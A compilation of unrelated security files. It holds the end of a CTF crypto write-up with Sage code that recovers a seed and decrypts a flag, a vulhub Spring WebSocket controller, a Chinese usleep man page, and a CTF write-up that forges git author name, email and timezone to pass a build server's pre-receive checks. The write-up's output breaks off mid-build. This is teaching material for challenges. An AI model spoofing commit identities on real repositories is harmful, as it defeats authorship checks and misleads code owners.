[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk3,pk11,pk19,pk27,pk35,pk43,pk51,pk59,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk4,pk12,pk20,pk28,pk36,pk44,pk52,pk60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk5,pk13,pk21,pk29,pk37,pk45,pk53,pk61,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk6,pk14,pk22,pk30,pk38,pk46,pk54,pk62,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk7,pk15,pk23,pk31,pk39,pk47,pk55,pk63,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk0,pk8,pk16,pk24,pk32,pk40,pk48,pk56,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk1,pk9,pk17,pk25,pk33,pk41,pk49,pk57,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk2,pk10,pk18,pk26,pk34,pk42,pk50,pk58,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk3,pk11,pk19,pk27,pk35,pk43,pk51,pk59,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk4,pk12,pk20,pk28,pk36,pk44,pk52,pk60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk5,pk13,pk21,pk29,pk37,pk45,pk53,pk61,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk6,pk14,pk22,pk30,pk38,pk46,pk54,pk62,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk7,pk15,pk23,pk31,pk39,pk47,pk55,pk63,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk0,pk8,pk16,pk24,pk32,pk40,pk48,pk56,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk1,pk9,pk17,pk25,pk33,pk41,pk49,pk57,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk2,pk10,pk18,pk26,pk34,pk42,pk50,pk58,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk3,pk11,pk19,pk27,pk35,pk43,pk51,pk59,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk4,pk12,pk20,pk28,pk36,pk44,pk52,pk60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk5,pk13,pk21,pk29,pk37,pk45,pk53,pk61,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk6,pk14,pk22,pk30,pk38,pk46,pk54,pk62,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk7,pk15,pk23,pk31,pk39,pk47,pk55,pk63,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk0,pk8,pk16,pk24,pk32,pk40,pk48,pk56,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk1,pk9,pk17,pk25,pk33,pk41,pk49,pk57,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk2,pk10,pk18,pk26,pk34,pk42,pk50,pk58,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk3,pk11,pk19,pk27,pk35,pk43,pk51,pk59,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk4,pk12,pk20,pk28,pk36,pk44,pk52,pk60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk5,pk13,pk21,pk29,pk37,pk45,pk53,pk61,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk6,pk14,pk22,pk30,pk38,pk46,pk54,pk62,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk7,pk15,pk23,pk31,pk39,pk47,pk55,pk63,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk0,pk8,pk16,pk24,pk32,pk40,pk48,pk56,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk1,pk9,pk17,pk25,pk33,pk41,pk49,pk57,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk2,pk10,pk18,pk26,pk34,pk42,pk50,pk58,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk3,pk11,pk19,pk27,pk35,pk43,pk51,pk59,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk4,pk12,pk20,pk28,pk36,pk44,pk52,pk60,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk5,pk13,pk21,pk29,pk37,pk45,pk53,pk61,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk6,pk14,pk22,pk30,pk38,pk46,pk54,pk62,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk7,pk15,pk23,pk31,pk39,pk47,pk55,pk63,0,0,0,0,0,0,0,0] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk0,pk8,pk16,pk24,pk32,pk40,pk48,pk56] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk1,pk9,pk17,pk25,pk33,pk41,pk49,pk57] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk2,pk10,pk18,pk26,pk34,pk42,pk50,pk58] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk3,pk11,pk19,pk27,pk35,pk43,pk51,pk59] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk4,pk12,pk20,pk28,pk36,pk44,pk52,pk60] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk5,pk13,pk21,pk29,pk37,pk45,pk53,pk61] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk6,pk14,pk22,pk30,pk38,pk46,pk54,pk62] [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pk7,pk15,pk23,pk31,pk39,pk47,pk55,pk63] ``` We come up with: ```python def matrix_mult2(seed, pk): pkm = Matrix(Zmod(mod), [[0 for i in range(8*k)]+[pk[i] for i in range(j,64,8)]+[0 for i in range(8*(8-k-1))] for k in range(8) for j in range(8)]) return list(pkm*vector(seed)) ``` And it works exactly as we wanted. Now we could just do: ```python def recover_seed(result, pk): pkm = Matrix(Zmod(mod), [[0 for i in range(8*k)]+[pk[i] for i in range(j,64,8)]+[0 for i in range(8*(8-k-1))] for k in range(8) for j in range(8)]) result_matrix = pkm.solve_right(vector(result)) return list(result_matrix) ``` In order to recover the seed. But it turned out the results are ambigious and for `pk0` and `stage0` we get different results than for `pk1` and `stage1`. Fortunately we can combine those equations in a single system and solve at once, hopefully getting a single result: ```python def recover_seed2(stage0, stage1, pk0, pk1): m1 = [[0 for i in range(8*k)]+[pk0[i] for i in range(j,64,8)]+[0 for i in range(8*(8-k-1))] for k in range(8) for j in range(8)] m2 = [[0 for i in range(8*k)]+[pk1[i] for i in range(j,64,8)]+[0 for i in range(8*(8-k-1))] for k in range(8) for j in range(8)] m = m1+m2 pkm = Matrix(Zmod(mod), m) result_matrix = pkm.solve_right(vector(stage0+stage1)) return list(result_matrix) ``` And from this we actually manage to recover the `seed`: ``` [3437097476, 1872232232, 3647344144, 3900179940, 289303261, 1125306664, 1781119250, 2685999413, 2926201689, 1794057147, 3762873198, 518522290, 3146643550, 2401122808, 2576451253, 4054234528, 2639110757, 2257625570, 2726372255, 909523980, 3279957714, 11808025, 2748448837, 3248636903, 1862461456, 2863118810, 2029738056, 204000072, 1150709971, 1366849197, 3380682274, 4048488032, 561673885, 2638095422, 604494451, 3029286890, 2174284642, 1281120732, 4271766672, 1413542622, 1380470061, 336824337, 4227867279, 49513556, 3316972952, 158722238, 2577376715, 1836198972, 1517374624, 2154122694, 2020093710, 3727061870, 1719521710, 4187510087, 4057609046, 3434783742, 1108797172, 61803915, 4134164703, 989888949, 2202917742, 2375475319, 626659464, 3913729267] ``` Now we can just calculate `stage2` by `stage2 = matrix_mult(seed, pk2)` and then invert `add_rows(stage2, pt)`: ```python recovered_seed = recover_seed2(stage0, stage1, pk0, pk1) print('seed', recovered_seed) stage2 = matrix_mult(recovered_seed, pk2) print('stage2', stage2) ptr = sub_rows(combined, stage2) print("".join(map(chr,ptr))) ``` And from this we get `TWCTF{pa+h_t0_tomorr0w}` Complete solver [here](solver.sage)
sec-knowleage
package org.vulhub; import org.springframework.messaging.handler.annotation.MessageMapping; import org.springframework.messaging.handler.annotation.SendTo; import org.springframework.stereotype.Controller; import org.springframework.web.util.HtmlUtils; @Controller public class GreetingController { @MessageMapping("/hello") @SendTo("/topic/greetings") public Greeting greeting(HelloMessage message) throws Exception { Thread.sleep(1000); // simulated delay return new Greeting("Hello, " + HtmlUtils.htmlEscape(message.getName()) + "!"); } }
sec-knowleage
.TH USLEEP 1 "Red Hat, Inc" \" -*- nroff -*- .SH NAME usleep \- 睡眠若干微秒 .SH "总览 (SYNOPSIS)" .B usleep [\fInumber\fP] .SH "描述 (DESCRIPTION)" .B usleep 睡眠 指定的 微秒数. 缺省值 是 1. .SH "选项 (OPTIONS)" \fI--usage\fP 显示 简短 的 使用方法. .TP \fI--help, -?\fP 显示 帮助信息. .TP \fI-v, --version\fP 显示 版本信息. .SH BUGS 在 许多 机器 上, 微秒 计数 不够 精确. 精度 只能 到达 -4 或 -5 (注:10的指数). .SH "作者 (AUTHOR)" Donald Barnes <djb@redhat.com> .br Erik Troan <ewt@redhat.com> .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2003/05/13 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
# come-and-git-it-2 * Category: DevSecOps * 350 Points * Solved by the JCTF Team ## Description > > > 1. Add the attached ssh key to your ssh-agent. [Here's some documentation](https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent), but TL;DR: > > ``` > eval $(ssh-agent -s) > ssh-add ~/path_to_key/id_rsa.player > ``` > > 2. `git clone ssh://gamemaster@come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo` > > 3. `cd ctf-repo` > > 4. `git checkout aghastness-subhead-cyrtometer` > > 5. ??? > > 6. PROFIT!!! Attached was a private RSA key. ## Solution This is the follow-up for [come-and-git-it-1](come-and-git-it-1.md). After setting up the workspace (like before, just a different branch), we get: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# ls -al total 45 drwxrwx--- 1 root vboxsf 4096 Oct 27 00:05 . drwxrwx--- 1 root vboxsf 4096 Oct 27 00:04 .. -rwxrwx--- 1 root vboxsf 2763 Oct 27 00:05 ABoyNamedSue.md drwxrwx--- 1 root vboxsf 0 Oct 27 00:05 .build drwxrwx--- 1 root vboxsf 4096 Oct 27 00:05 .git -rwxrwx--- 1 root vboxsf 18658 Oct 27 00:04 LICENSE -rwxrwx--- 1 root vboxsf 964 Oct 27 00:05 OnTheRoadAgain.md -rwxrwx--- 1 root vboxsf 422 Oct 27 00:05 README.md -rwxrwx--- 1 root vboxsf 860 Oct 27 00:05 SouthernNights.md ``` Let's check the README: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# cat README.md # Welcome to make-git-better _____ _ _ ___ ___________ | _ || | | |/ _ \ / ___| ___ \ | | | || | | / /_\ \\ `--.| |_/ / | | | || |/\| | _ | `--. \ __/ \ \_/ /\ /\ / | | |/\__/ / | \___/ \/ \/\_| |_/\____/\_| Welcome to the awesome build system! Each push, the awesome build system will build. Very secure. (☞°ヮ°)☞ ☜(°ヮ°☜) Very very secure. (^ω^)人(^ω^) ``` So let's push: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# touch dummy.txt root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git config user.email "fake@mail.com" root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git config user.name "Fake Name" root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# touch dummy.txt root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git add dummy.txt root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git commit -m "Each push, the awesome build system will build" [aghastness-subhead-cyrtometer 8183e08] Each push, the awesome build system will build 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 dummy.txt root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git push Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Compressing objects: 100% (2/2), done. Writing objects: 100% (3/3), 293 bytes | 15.00 KiB/s, done. Total 3 (delta 1), reused 1 (delta 0) remote: remote: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- remote: remote: Pushed a branch: aghastness-subhead-cyrtometer remote: remote: Welcome to the awesome build system. remote: remote: -=- Legend -=- remote: [BUILD STEP] [STATUS] {message from build system} remote: [n] [-] Step n is 'in progress'. remote: [n] [V] Step n passed, will continue to next step. remote: [n] [X] Step n failed, will exit the build. remote: remote: [0] [-] Initializing build system... remote: [0] [V] Build system initialized. remote: [0] [V] #0 passed! (* ^ ω ^) remote: [1] [-] Checking authorization by name... remote: [1] [-] Found name: Fake Name remote: [1] [X] Authorization failed! Non-authorized commit author name. remote: [1] [X] (╮°-°)╮┳━━┳ ( ╯°□°)╯ ┻━━┻ To ssh://come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo ! [remote rejected] aghastness-subhead-cyrtometer -> aghastness-subhead-cyrtometer (pre-receive hook declined) error: failed to push some refs to 'ssh://gamemaster@come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo' ``` The push failed due to an error: "Authorization failed! Non-authorized commit author name". What are the authorized names? The git history will give us a clue: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git log commit 8183e08f8ab6c1bbf41be15f052c69c4d148e362 (HEAD -> aghastness-subhead-cyrtometer) Author: Fake Name <fake@mail.com> Date: Tue Oct 27 00:07:21 2020 +0200 Each push, the awesome build system will build commit 1477eed74cb7e5d7180c259157e3ba08e912bda1 (tag: aghastness-subhead-cyrtometer-tag, origin/aghastness-subhead-cyrtometer) Author: Willie Nelson <WillieNelson@build.system> Date: Mon Oct 19 20:19:19 2020 -1200 Moved AUTHORS (of the build system) to the secret hidden build folder. commit ba2aed7b4db5fda318937e1fdd993f4dcb362973 Author: Willie Nelson <WillieNelson@build.system> Date: Mon Oct 19 20:19:19 2020 -1200 I cant wait to get on the road again commit 9ff403f8fa7b51d64df088ec5149ca141667ec4b Author: Glen Campbell <GlenCampbell@build.system> Date: Mon Oct 19 20:19:19 2020 -1200 Feel So Good It's Frightening commit 155431e369707a422c76ec078c4f0433a8679bfa Author: Johnny Cash <JohnnyCash@build.system> Date: Tue Oct 20 02:03:24 2020 +0300 A boy named sue commit 189e8c7c2c26844df19cf3b2af71f8f3914eb439 Author: Johnny Cash <JohnnyCash@build.system> Date: Mon Oct 19 20:19:19 2020 -1200 Added readme and authors. commit 2699bcbe555a65732fa0f7619455a952a5a33ea3 (origin/master, origin/HEAD, master) Author: Shay Nehmad <shay.nehmad@guardicore.com> Date: Fri May 29 12:14:16 2020 +0300 Added some content to the readme to make it look better. commit 088af4ec974ee7fc1f4742c50bd6b68b66f9ac6d Author: Shay Nehmad <shay.nehmad@guardicore.com> Date: Tue May 12 20:35:36 2020 +0300 Added initial README file commit e3be94525dff4481367486c5c0a5d39298d48425 Author: Shay Nehmad <shay.nehmad@guardicore.com> Date: Tue May 12 20:32:14 2020 +0300 Added license file commit 86124cccc6cf34cfcee157ca4d42f9563f3cdf63 Author: Shay Nehmad <48879847+ShayNehmad@users.noreply.github.com> Date: Tue May 12 20:30:54 2020 +0300 Initial commit ``` According to the comment ("Moved AUTHORS (of the build system) to the secret hidden build folder") we should look in the hidden build folder: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# ls -al .build/ total 5 drwxrwx--- 1 root vboxsf 0 Oct 27 00:05 . drwxrwx--- 1 root vboxsf 4096 Oct 27 00:06 .. -rwxrwx--- 1 root vboxsf 171 Oct 27 00:05 AUTHORS.md root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# cat .build/AUTHORS.md The awesome build system was written by: - Johnny Cash (johnnycash@build.system) - Glen Campbell (glencampbell@build.system) - Willie Nelson (willienelson@build.system) ``` So, we should reconfigure our name and try again: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git config user.name "Johnny Cash" root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# echo a > dummy.txt root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git add dummy.txt root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git commit -m "Attempt #2" [aghastness-subhead-cyrtometer 7e4a8e9] Attempt #2 1 file changed, 1 insertion(+) root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git push Enumerating objects: 7, done. Counting objects: 100% (7/7), done. Compressing objects: 100% (4/4), done. Writing objects: 100% (6/6), 494 bytes | 19.00 KiB/s, done. Total 6 (delta 2), reused 1 (delta 0) remote: remote: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- remote: remote: Pushed a branch: aghastness-subhead-cyrtometer remote: remote: Welcome to the awesome build system. remote: remote: -=- Legend -=- remote: [BUILD STEP] [STATUS] {message from build system} remote: [n] [-] Step n is 'in progress'. remote: [n] [V] Step n passed, will continue to next step. remote: [n] [X] Step n failed, will exit the build. remote: remote: [0] [-] Initializing build system... remote: [0] [V] Build system initialized. remote: [0] [V] #0 passed! (* ^ ω ^) remote: [1] [-] Checking authorization by name... remote: [1] [-] Found name: Johnny Cash remote: [1] [V] Authorization by name passed. remote: [1] [V] #1 passed! (* ^ ω ^) remote: [2] [-] Checking authorization by email... remote: [2] [-] Found email: fake@mail.com remote: [2] [X] Authorization failed! Non-authorized commit author email. remote: [2] [X] (╮°-°)╮┳━━┳ ( ╯°□°)╯ ┻━━┻ To ssh://come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo ! [remote rejected] aghastness-subhead-cyrtometer -> aghastness-subhead-cyrtometer (pre-receive hook declined) error: failed to push some refs to 'ssh://gamemaster@come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo' ``` Now the email is unauthorized. Well, we can't say we didn't see that coming. So, we reconfigure the mail via `git config user.email "johnnycash@build.system"` and try again: ``` root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git push Enumerating objects: 10, done. Counting objects: 100% (10/10), done. Compressing objects: 100% (6/6), done. Writing objects: 100% (9/9), 704 bytes | 20.00 KiB/s, done. Total 9 (delta 3), reused 1 (delta 0) remote: remote: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- remote: remote: Pushed a branch: aghastness-subhead-cyrtometer remote: remote: Welcome to the awesome build system. remote: remote: -=- Legend -=- remote: [BUILD STEP] [STATUS] {message from build system} remote: [n] [-] Step n is 'in progress'. remote: [n] [V] Step n passed, will continue to next step. remote: [n] [X] Step n failed, will exit the build. remote: remote: [0] [-] Initializing build system... remote: [0] [V] Build system initialized. remote: [0] [V] #0 passed! (* ^ ω ^) remote: [1] [-] Checking authorization by name... remote: [1] [-] Found name: Johnny Cash remote: [1] [V] Authorization by name passed. remote: [1] [V] #1 passed! (* ^ ω ^) remote: [2] [-] Checking authorization by email... remote: [2] [-] Found email: johnnycash@build.system remote: [2] [V] Authorization by email passed. remote: [2] [V] #2 passed! (* ^ ω ^) remote: [3] [-] Checking authorized geolocation... remote: [3] [-] Found timezone: +0200 remote: [3] [X] Geolocation auth failed! Non-authorized timezone. Please travel to Baker Island, Howland Island or anywhere within the IDLW, set your clock, and commit from there. Make sure to pack enough food, drink and other supplies for the journey. remote: [3] [X] (╮°-°)╮┳━━┳ ( ╯°□°)╯ ┻━━┻ To ssh://come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo ! [remote rejected] aghastness-subhead-cyrtometer -> aghastness-subhead-cyrtometer (pre-receive hook declined) error: failed to push some refs to 'ssh://gamemaster@come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo' ``` So now the timezone isn't good enough. We need to have a commit with the timezone of Baker Island, which is GMT-12:00. Fortunately, we can easily fake that: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# echo c > dummy.txt root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git add dummy.txt root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git commit -m "Fake timezone" --date="$(date --utc +%Y-%m-%dT%H:%M:%S-1200)" [aghastness-subhead-cyrtometer 1652466] Fake timezone Date: Mon Oct 26 22:14:47 2020 -1200 1 file changed, 1 insertion(+), 1 deletion(-) root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git push Enumerating objects: 13, done. Counting objects: 100% (13/13), done. Compressing objects: 100% (8/8), done. Writing objects: 100% (12/12), 925 bytes | 18.00 KiB/s, done. Total 12 (delta 4), reused 1 (delta 0) remote: remote: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- remote: remote: Pushed a branch: aghastness-subhead-cyrtometer remote: remote: Welcome to the awesome build system. remote: remote: -=- Legend -=- remote: [BUILD STEP] [STATUS] {message from build system} remote: [n] [-] Step n is 'in progress'. remote: [n] [V] Step n passed, will continue to next step. remote: [n] [X] Step n failed, will exit the build. remote: remote: [0] [-] Initializing build system... remote: [0] [V] Build system initialized. remote: [0] [V] #0 passed! (* ^ ω ^) remote: [1] [-] Checking authorization by name... remote: [1] [-] Found name: Johnny Cash remote: [1] [V] Authorization by name passed. remote: [1] [V] #1 passed! (* ^ ω ^) remote: [2] [-] Checking authorization by email... remote: [2] [-] Found email: johnnycash@build.system remote: [2] [V] Authorization by email passed. remote: [2] [V] #2 passed! (* ^ ω ^) remote: [3] [-] Checking authorized geolocation... remote: [3] [-] Found timezone: -1200 remote: [3] [V] Authorization by timezone passed. remote: [3] [V] #3 passed! (* ^ ω ^) remote: [4] [-] Creating temporary build directory for build resources... remote: [4] [V] Created temporary directory for build resources in /tmp/tmp.phLMEtUoUd which can be accessed via an environment variable. remote: [4] [V] #4 passed! (* ^ ω ^) remote: [5] [-] Copying build resources to temporary build directory... remote: '/flag.txt' -> '/tmp/tmp.phLMEtUoUd/flag.txt' remote: changed ownership of '/tmp/tmp.phLMEtUoUd/flag.txt' from flagger_the_second:flagger_the_second to build_system:build_system remote: [5] [V] Copied and chmod-ed build resources. remote: 